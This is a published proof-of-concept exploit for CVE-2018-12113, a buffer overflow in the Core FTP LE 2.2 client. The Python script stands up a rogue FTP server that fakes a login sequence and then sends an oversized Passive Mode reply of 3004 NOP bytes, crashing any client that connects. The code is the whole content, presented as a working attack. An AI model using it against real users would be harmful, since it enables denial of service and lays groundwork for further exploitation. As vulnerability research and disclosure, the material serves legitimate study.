Core FTP LE 2.2 Buffer Overflow

`# Exploit Title: Core FTP LE 2.2 - Buffer Overflow (PoC)  
# Date: 2018-06-28  
# Exploit Author: Berk Cem GAPksel  
# Vendor Homepage: http://www.coreftp.com/  
# Software Link: http://www.coreftp.com/download  
# Version: Core FTP Client LE v2.2 Build 1921  
# Tested on: Windows 10  
# Category: Dos  
# CVE : CVE-2018-12113  
# coding: utf-8  
  
# Description:]  
# The vulnerability was discovered during a vulnerability research lecture.  
# This is meant to be a PoC.  
  
#!/usr/bin/env python  
  
import socket  
  
IP = '0.0.0.0'  
port = 21  
  
  
Stack_beginning = 3004  
  
buff = "\x90" * (3004)  
  
try:  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind((IP, port))  
s.listen(20)  
print("[i] FTP Server started on port: "+str(port)+"\r\n")  
except:  
print("[!] Failed to bind the server to port: "+str(port)+"\r\n")  
  
while True:  
conn, addr = s.accept()  
conn.send('220 Welcome!' + '\r\n')  
print conn.recv(1024)  
conn.send('331 OK.\r\n')  
print conn.recv(1024)  
conn.send('230 OK.\r\n')  
print conn.recv(1024)  
conn.send('215 UNIX Type: L8\r\n')  
print conn.recv(1024)  
conn.send('257 "/" is current directory.\r\n')  
print conn.recv(1024)  
conn.send('227 Entering Passive Mode (' + buff + ')\r\n')  
print conn.recv(1024)  
conn.send('257' + '\r\n')  
  
  
`